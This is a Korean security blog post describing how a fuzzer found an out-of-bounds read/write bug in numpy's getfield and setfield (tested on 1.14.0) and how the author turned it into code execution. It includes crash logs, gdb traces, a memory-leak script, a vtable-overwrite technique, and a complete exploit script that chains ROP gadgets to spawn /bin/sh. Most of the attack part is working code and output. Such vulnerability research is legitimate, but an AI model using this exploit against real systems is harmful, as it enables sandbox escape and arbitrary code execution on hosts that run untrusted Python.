티스토리 뷰

최초 작성: 2018-02-16


안녕하세요. Hackability 입니다.


오늘 포스팅 주제는 간단한 커스텀 스크립트 퍼저 제작을 통해 나온 결과물 부터 실제 익스까지 만들게된 내용을 담아 보려고 합니다. 


본 포스팅에서는 커스텀 스크립트 퍼저에 대한 내용은 다루지 않고 4월 텐달러 오프라인 세미나 때 6시간 가량 퍼저 제작에 대한 내용을 공유하고 각자 개인 퍼저 개발을 할 수 있는 시간을 만들려 합니다. 관심 있으신분은 날짜가 정해지면 오셔서 세미나 들으시고 서로 생각을 공유하는 시간을 갖으면 좋겠습니다 :D (블로그와 페북에 날짜가 나오면 공지 하도록 하겠습니다.)


제가 처음으로 타겟을 한 대상은 Python의 Numpy 모듈을 대상으로 타겟을 하였습니다. CTF를 풀다가 파이썬 샌드박스 문제 관련해서 나올때마다 들렷던 블로그에서 numpy 대상으로 익스를 했던 내용이 있었는데, 나도 해봐야지 하다가 이제 하게 되었네요.


https://hackernoon.com/python-sandbox-escape-via-a-memory-corruption-bug-19dde4d5fea5


1. 퍼징 로그 분석


처음에 이 버그를 발견하게 된 계기는 지속적으로 퍼징 로그에 동일한 결과가 나오는 부분이 있었고 익스까지 도달 할수 있었던 해당 퍼저 로그는 다음과 같습니다.


import numpy as np
var_86ccd45a5d572ecd = np.byte()
var_adf7227323c2d599 = np.short(4294967295)
var_adf7227323c2d599.getfield(var_86ccd45a5d572ecd, 1094795585)
cs


위 스크립트를 디버깅 해보면 다음과 같이 아름다운 메모리 커럽션이 발생하게 됩니다.


hackability@ubuntu:~/fuzzer/temp$ gdb -q python
Reading symbols from python...(no debugging symbols found)...done.
gdb-peda$ r crash_1518604021_11.py 
Starting program: /usr/bin/python crash_1518604021_11.py
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff3eb9700 (LWP 27871)]
 
Thread 1 "python" received signal SIGSEGV, Segmentation fault.
 
 [----------------------------------registers-----------------------------------]
RAX: 0x7ffff6820ee0 (<BYTE_copyswap>:    test   rsi,rsi)
RBX: 0x7ffff6bbb300 --> 0x3 
RCX: 0x7ffff7e7b7b0 --> 0x1 
RDX: 0x0 
RSI: 0x41f963b1 
RDI: 0x7ffff7f69220 --> 0x0 
RBP: 0x1 
RSP: 0x7fffffffd9c8 --> 0x7ffff6920965 (<PyArray_Scalar+485>:    add    rsp,0x28)
RIP: 0x7ffff6820ee5 (<BYTE_copyswap+5>:    movzx  eax,BYTE PTR [rsi])
R8 : 0x0 
R9 : 0x0 
R10: 0x228 
R11: 0x8fd580 --> 0x7ffff7e89000 --> 0x36 ('6')
R12: 0x7ffff7f69210 --> 0x1 
R13: 0x41f963b1 
R14: 0xffffffef 
R15: 0x1
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff6820edc:    nop    DWORD PTR [rax+0x0]
   0x7ffff6820ee0 <BYTE_copyswap>:    test   rsi,rsi
   0x7ffff6820ee3 <BYTE_copyswap+3>:    je     0x7ffff6820eea <BYTE_copyswap+10>
=> 0x7ffff6820ee5 <BYTE_copyswap+5>:    movzx  eax,BYTE PTR [rsi]
   0x7ffff6820ee8 <BYTE_copyswap+8>:    mov    BYTE PTR [rdi],al
   0x7ffff6820eea <BYTE_copyswap+10>:    repz ret 
   0x7ffff6820eec:    nop    DWORD PTR [rax+0x0]
   0x7ffff6820ef0 <UBYTE_copyswap>:    test   rsi,rsi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd9c8 --> 0x7ffff6920965 (<PyArray_Scalar+485>:    add    rsp,0x28)
0008| 0x7fffffffd9d0 --> 0x7ffff7e6de60 --> 0x1 
0016| 0x7fffffffd9d8 --> 0x7fff00000000 
0024| 0x7fffffffd9e0 --> 0x7ffff6820ee0 (<BYTE_copyswap>:    test   rsi,rsi)
0032| 0x7fffffffd9e8 --> 0x7ffff7e7b7b0 --> 0x1 
0040| 0x7fffffffd9f0 --> 0x0 
0048| 0x7fffffffd9f8 --> 0x7ffff7e7b7b0 --> 0x1 
0056| 0x7fffffffda00 --> 0x7ffff7f691e0 --> 0x2 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
_basic_copy (elsize=0x1, src=src@entry=0x41f963b1, dst=0x7ffff7f69220) at numpy/core/src/multiarray/arraytypes.c.src:1946
1946    numpy/core/src/multiarray/arraytypes.c.src: No such file or directory.
 
cs


$rsi 값을 이용하여 메모리 참조를 하는데 이 메모리 주소가 유효한 주소가 아니기 때문에 메모리 커럽션이 발생되게 됩니다.


먼저 getfield 함수를 찾아 보면 다음과 같은 함수 원형을 갖고 있습니다.


ndarray.getfield(dtype, offset=0)


뒤에 오프셋이 기본으로 0으로 설정되어 있는데 이 부분에 우리는 1094795585 값(0x41414141) 을 넣어 주었습니다. 몇 가지 테스트 해본 결과 위에서 문제가 생겻던 $rsi의 값이 getfield 함수의 오프셋 파라미터에 영향을 받음을 알 수 있었습니다. 오프셋을 0x42424242로 변경하여 테스트 해보면 변경한 오프셋의 값 만큼 $rsi가 변경됨을 알 수 있습니다.


만약, 오프셋을 유효한 곳으로 지정한다면 ndarray (위 예에서는 ushort) 오브젝트 기준으로 메모리 릭이 가능할 것 같습니다. 테스트 하면서 하나 더 발견한 것은 첫 번째 인자가 byte()로 되어 있어서 릭이 한바이트 씩 됫는데 이를 numpy에서 제공하는 8바이트 자료 구조 (numpy.uint64)로 변경하여 테스트 해보면 정상적으로 8바이트씩 메모리 릭이 가능함을 볼 수 있습니다.


* 메모리 릭 테스트 코드


import numpy as np
var_86ccd45a5d572ecd = np.uint64()
var_adf7227323c2d599 = np.short(4294967295)
 
#var_adf7227323c2d599.getfield(var_86ccd45a5d572ecd, 1094795585)
for i in range(00x20):
    v = var_adf7227323c2d599.getfield(var_86ccd45a5d572ecd, i*8)
    print "obj + %08x : " % (i*8), hex(v)
cs


* 메모리 릭 테스트 결과


hackability@ubuntu:~/fuzzer/temp$ python crash_1518604021_11.py 
obj + 00000000 :  0x7fe48f3dffffL
obj + 00000008 :  0x7fe48f3d7b78L
obj + 00000010 :  0x0L
obj + 00000018 :  0x21L
obj + 00000020 :  0x358637bdL
obj + 00000028 :  0x7fe48f3d7b78L
obj + 00000030 :  0x0L
obj + 00000038 :  0x31L
obj + 00000040 :  0x2L
obj + 00000048 :  0x8L
obj + 00000050 :  0x2L
obj + 00000058 :  0x2L
obj + 00000060 :  0x840003640004L
obj + 00000068 :  0x311L
obj + 00000070 :  0x0L
obj + 00000078 :  0x0L
obj + 00000080 :  0x0L
obj + 00000088 :  0x6c3da9d8a2f811a1L
obj + 00000090 :  0x7fe488690f00L
obj + 00000098 :  0x7fe488618a80L
obj + 000000a0 :  0x0L
obj + 000000a8 :  0x0L
obj + 000000b0 :  0x0L
obj + 000000b8 :  0x0L
obj + 000000c0 :  0x0L
obj + 000000c8 :  0x0L
obj + 000000d0 :  0xffbd3734067fe6c4L
obj + 000000d8 :  0x7fe48861e1b8L
obj + 000000e0 :  0x7fe488617f50L
cs


디버깅을 해보면 몇 가지 사실을 알 수 있었습니다.


1. 버그가 발생했던 $rsi는 getfield 파라미터 offset의 영향을 받음 (Origin pointer = $rsi-offset)

2. getfield 함수를 통해 Origin pointer 기준으로 메모리 노출이 가능


추가적으로 getfield외에 기존 퍼저 로그에서 setfield에서도 다음과 같이 크래쉬가 발생했던 로그가 있었습니다.


import numpy as np
 
var_15300087264a0a49 = np.fmod(6553565536)
var_7b4c66d30119badc = np.void(var_15300087264a0a49)
var_af6ad5941dc99546 = np.complex(4294967296)
var_ee237afa1ac5e5a9 = np.mat(var_af6ad5941dc99546)
var_ee237afa1ac5e5a9.setfield('AAAAAAAA', var_7b4c66d30119badc)
cs


setfield역시 getfield와 거의 동일하지만, 한 가지 중요한 것은 setfield의 경우, 콜러의 타입이 array 타입으로 구성이 되어야 했습니다. getfield는 딱히 타입에 상관이 없기 때문에 처음에 분석을 할 때, 릭 오브젝트는 np.mat(np.complex()) 로 구성해서 사용했고, 최종적으로 np.array()로 정리를 하였고, 이 오브젝트를 이용하여 oob r/w를 할 수 있게 되었습니다.


2. 분석


2.1. 파이썬 오브젝트


발생된 oob r/w를 이용하여 익스를 하기 위한 첫 번째 타겟은 힙에 존재하는 다른 Python Object를 덮는 것 이였습니다. 한 가지 중요한 점은 맨 처음의 블로그에서 언급했듯이, 작은 오브젝트는 굉장히 높은 주소에 할당이 되고 큰 오브젝트들만 힙영역에 할당이 되었습니다. 따라서, 문자열 오브젝트를 크게 생성하여 컨트롤 할 오브젝트들은 모두 힙에 설정되도록 하였습니다.


힙에 생성된 Python Object는 내부에 함수 콜 테이블들이 존재 했고 해당 테이블을 관리 하는 포인터를 내가 조작할 수 있는 메모리 영역으로 덮으면 우리가 원하는 것을 할 수 있을 것 같습니다. like CTF :D


numpy.string_("A"*0x1000) 으로 스트링을 할당하고 해당 값을 확인해보면 첫 번째 값 (1)은 레퍼런스 카운트, 두 번째는 해당 타입에 대한 콜 테이블 주소 그리고 그 이후에 우리가 넣은 값 으로 구성 됨을 알 수 있습니다. 


gdb-peda$ x/8gx 0xe52880
0xe52880:    0x0000000000000001    0x00007ffff6bccc60
0xe52890:    0x0000000000001000    0xffffffffffffffff
0xe528a0:    0x4141414100000000    0x4141414141414141
0xe528b0:    0x4141414141414141    0x4141414141414141
 
gdb-peda$ print *(PyTypeObject *)0x00007ffff6bccc60
$4 = {
  ob_refcnt = 0x39, 
  ob_type = 0x905bc0 <PyType_Type>, 
  ob_size = 0x0, 
  tp_name = 0x7ffff697e7cb "numpy.string_", 
  tp_basicsize = 0x28, 
  tp_itemsize = 0x1, 
  tp_dealloc = 0x4a4010, 
  tp_print = 0x511100, 
  tp_getattr = 0x0, 
  tp_setattr = 0x0, 
  tp_compare = 0x0, 
  tp_repr = 0x7ffff69274e0 <stringtype_repr>, 
  tp_as_number = 0x8f8c40, 
  tp_as_sequence = 0x8f8be0, 
  tp_as_mapping = 0x8f8bb0, 
  tp_hash = 0x4a0450, 
  tp_call = 0x0, 
  tp_str = 0x7ffff6927430 <stringtype_str>, 
  tp_getattro = 0x4aff80 <PyObject_GenericGetAttr>, 
  tp_setattro = 0x4da5e0 <PyObject_GenericSetAttr>, 
  tp_as_buffer = 0x8f8b80, 
  tp_flags = 0x82215fb, 
  tp_doc = 0x0, 
  tp_traverse = 0x0, 
  tp_clear = 0x0, 
  tp_richcompare = 0x4ace80, 
  tp_weaklistoffset = 0x0, 
  tp_iter = 0x0, 
  tp_iternext = 0x0, 
  tp_methods = 0x0, 
  tp_members = 0x0, 
  tp_getset = 0x0, 
  tp_base = 0x9060a0 <PyString_Type>, 
  tp_dict = 0x7ffff7e56a28, 
  tp_descr_get = 0x0, 
  tp_descr_set = 0x0, 
  tp_dictoffset = 0x0, 
  tp_init = 0x4b83b0, 
  tp_alloc = 0x7ffff6926610 <gentype_alloc>, 
  tp_new = 0x7ffff69260e0 <string_arrtype_new>, 
  tp_free = 0x7ffff6926600 <gentype_free>, 
  tp_is_gc = 0x0, 
  tp_bases = 0x7ffff7e72248, 
  tp_mro = 0x7ffff7ed3b40, 
  tp_cache = 0x0, 
  tp_subclasses = 0x0, 
  tp_weaklist = 0x7ffff7e5e0a8, 
  tp_del = 0x0, 
  tp_version_tag = 0x0
}
 
cs


따라서, 이 위치를 덮게되면 해당 타입 오브젝트에 대한 콜 테이블을 변경할 수 있고 결국 $rip를 우리가 원하는 곳으로 넣을 수 있게 됩니다. 예를들어, 스트링 오브젝트의 str함수는 [테이블 주소 + 0x88]에 위치해 있기 때문에 우리는 테이블 주소 + 0x88 값을 "BBBBBBBB"로 변경하고 str(obj)를 호출하게 되면 내부적으로 call [테이블 주소 + 0x88] = call 0x4242424242424242를 하게 됩니다.



2.2. 임의 주소 읽고 쓰기 (oob r/w)


위의 테스트를 통해 getfield와 setfield를 통해 해당 릭 오브젝트 기준으로 메모리에 읽고 쓰기를 할 수 있었습니다만, 몇 가지 문제점이 있었습니다.


1. getfield와 setfield 인자로 들어가는 offset의 범위가 4바이트를 넘어 갈 수 없는 것


이 문제는 다행히 간단히 해결 될 수 있었던 것은, oob r/w를 할 수 있는 오브젝트와 우리가 덮어 쓸 타겟 파이썬 오브젝트가 동일한 힙 영역안에 있기 때문에 4바이트 범위로 충분히 덮을 수 있었습니다.


2. overwrite를 하기 위한 타겟 오브젝트가 서치 범위 내에 없는 경우


이 경우는 일반적이지 않은 경우인데 보통 릭 오브젝트를 잡고 +- 할 경우, 해당 오브젝트 주소 기준으로 검색을 하게 됩니다. 하지만 이번 경우에는 +offset일 경우에는 정상적으로 동작했지만 -offset일 경우에는 릭 오브젝트와 다른곳 부터 검색을 하게 되어  만약 타겟 오브젝트가 릭 오브젝트와 (-offset)의 시작위치 사이에 있게 되면 검색이 안되는 문제가 생기게 됩니다. 그림으로 표현하면 다음과 같습니다.



해결 방법으로는 [Obj - oob r/w]의 setfield를 이용하여 릭 오브젝트 이전에 타겟 오브젝트가 생성되지 못하도록 스프레잉을하여 릭 오브젝트 이후에 할당되게 하는 것 이였습니다. 강제로 타겟 오브젝트를 Obj - oob r/w 이후에 할당되게 함으로써, 정상적으로 타겟 오브젝트를 읽고, 쓸수 있게 되었습니다.


2.3. 타겟 파이썬 오브젝트 검색


위의 예와 같이 이제 타겟 오브젝트는 릭 오브젝트의 +offset 영역에 설정이 되어 찾을 수 있게 되었지만 파이썬 오브젝트의 힙 사용에 의한 랜덤성 때문에 고정적인 오프셋을 넣을 수가 없었습니다. 따라서, PyStringObject에 임의로 매직 문자열을 넣어 타겟 오브젝트가 어디인지 검사하는 코드를 넣어야 합니다.


아래 예를 통해 쉽게 이해해보도록 하면, 0xe52880은 우리가 찾아야 하는 파이썬 스트링 오브젝트의 주소입니다.


gdb-peda$ x/20gx 0xe52880
0xe52880:    0x0000000000000001    0x00007ffff6bccc60
0xe52890:    0x0000000000001000    0xffffffffffffffff
0xe528a0:    0x4141414100000000    0x4141414141414141
0xe528b0:    0x4141414141414141    0x4141414141414141
0xe528c0:    0x4141414141414141    0x4141414141414141
0xe528d0:    0x4141414141414141    0x4141414141414141
0xe528e0:    0x4141414141414141    0x4141414141414141
0xe528f0:    0x4141414141414141    0x4141414141414141
0xe52900:    0x4141414141414141    0x4141414141414141
0xe52910:    0x4141414141414141    0x4141414141414141
cs


릭 오브젝트를 이용하여 8바이트씩 검사 하다가 현재 블록, 이전 블록, 이전 이전 블록의 값이 위의 하이라이트 된 값과 같다면 해당 위치의 - 0x28을 PyStringObject의 시작주소로 할 수 있습니다.


2.4. $rip 조작


오브젝트의 처음 값은 레퍼런스 카운트 (0xe52880 = 1)이기 때문에 우리의 별로 관심사가 아니고 우리의 관심사는 함수 테이블 주소를 가지고 있는 (0xe52880+8 = 0x7ffff6bccc60) 입니다. 위에서 설명 햇다 싶이 이 주소의 + 0x88주소는 str 함수 포인터를 가지고 있는데 0xe52880+8의 내용을 0xe528b0 형태로 변경하게 되면 해당 파이썬 오브젝트는 0xe528b0+0x88의 주소를 str 함수 포인터로 인지하게 되고 이 위치는 우리가 컨트롤 하고 있는 영역이기 때문에 $rip를 컨트롤 할 수 있게 됩니다.


2.5. Pwn the shell !!


이후에는 바이너리에 존재하는 ROP 가젯들을 이용하여 우리가 원하는 목적에 맞도록 체이닝을 하여 쉘을 구성하였습니다. 이 구성은 바이너리마다 다르기 때문에 그림으로만 간단히 표현하면 다음과 같습니다.



시스템 실행을 위해, 스택 피봇을 하였고, 제 환경에서는 eax가 타겟 오브젝트 위치를 가지고 있어서 그 위치에 추가적인 ROP Chaining을 하였습니다. 만약 다른 시스템에서 아래 PoC를 완성 시키려면 call [function_table + 0x88] 할 때, 레지스터를 고려하여 ROP Chaining을 다시 구축하면 됩니다. 


3. 결과


본 익스플로잇 코드는 최신 버전 numpy(1.14.0) 대상으로 실험을 하였습니다. 여담으로 바운티가 가능했다면 id 함수를 쓰지 않고 다른 환경에서도 reliable하게 수정하려고 했는데 받아 주는곳이 없어서... 대충 작성 하였습니다. :'(


3.1. Exploit Code


#-*- coding: utf-8 -*-
# Author         : Hackability
# Last Modified  : 2018-02-14
# Target         : Python - numpy
 
import numpy as np
import struct
import sys
 
Q  = lambda x: struct.pack("Q", x)
UQ = lambda x: struct.unpack("<Q", x)[0]
 
print "Python Version : ", sys.version.replace("\n"" ")
print "Numpy Version  : ", np.__version__
 
# follow hardcoded addresses are defpends on Python binary
pop_rdi_ret      = 0x66366c
addr_system      = 0x5c96Ac
xchg_esp_eax_ret = 0x4503e9
 
# target obj
# obj_oob_rw_bug = np.mat(np.complex(4294967296))
obj_oob_rw_bug = np.array(0)
obj_for_binsh = np.string_(    "Z"*0xc + 
                            "/bin/sh\x00" + 
                            "Z"*(0x1000))     # to create large object
 
obj_fake_chunk = np.string_("A"*0xc +       # look for seaching this object
                            Q(pop_rdi_ret) + 
                            Q(id(obj_for_binsh)+0x30+ 
                            Q(addr_system) + 
                            "A"*0x70 + 
                            Q(xchg_esp_eax_ret) + 
                            "A"*(0x1000))     # to create large object
 
# This loop for heap spraying
#     - because of unpredictability of heap, obj_fake_chunk is sometimes 
#     created at (obj_oob_rw_bug < obj_fake_chunk < obj_for_binsh)
#     - so, this loop can place the obj_fake_chunk into between them
found_blocks = False
for i in range(00x1008):
    print "[*] Try to find the offset of object : ", i
    obj_oob_rw_bug.setfield(0xdeadbeef, np.int64, i)
 
    offset          = -1
    qword_current   = -1
    qword_prev      = -1
    qword_prev_prev = -1
 
    # actual range can cover (obj + 2^32-1)
    # simply +0x1000000 for checking speed
    for j in range(00x200000):
        # TODO: for spraying, large string object should be added here
        #       but, I did't cause I'm lazy and its enough :P
        qword_current = obj_oob_rw_bug.getfield(np.uint64, j*8)
        if qword_current    == UQ("A"*8and \
            qword_prev      == UQ("\x00"*4 + "A"*4and \
            qword_prev_prev == UQ("\xff"*8):
            print "[*] Found the offset of object : ", j
            found_blocks = True
            offset = j
            break
        qword_prev_prev = qword_prev
        qword_prev = qword_current
 
    if found_blocks is True:
        break
 
# for the reason (TODO), it fails some environments
if found_blocks is False:
    print "[?] Not found the offset of object!!"
    exit()
 
# vtable offset (offset - 4*8)
offset -= 4
 
# overwrite vtable as placed in obj3 string area
print "[*] Overwrite the PyObject vtable that will point into obj area"
obj_oob_rw_bug.setfield(id(obj_fake_chunk)+0x30, np.int64, offset*8)
 
# Trigger !!
print "[*] pwn /bin/sh !!"
str(obj_fake_chunk)
cs


3.2. 결과



댓글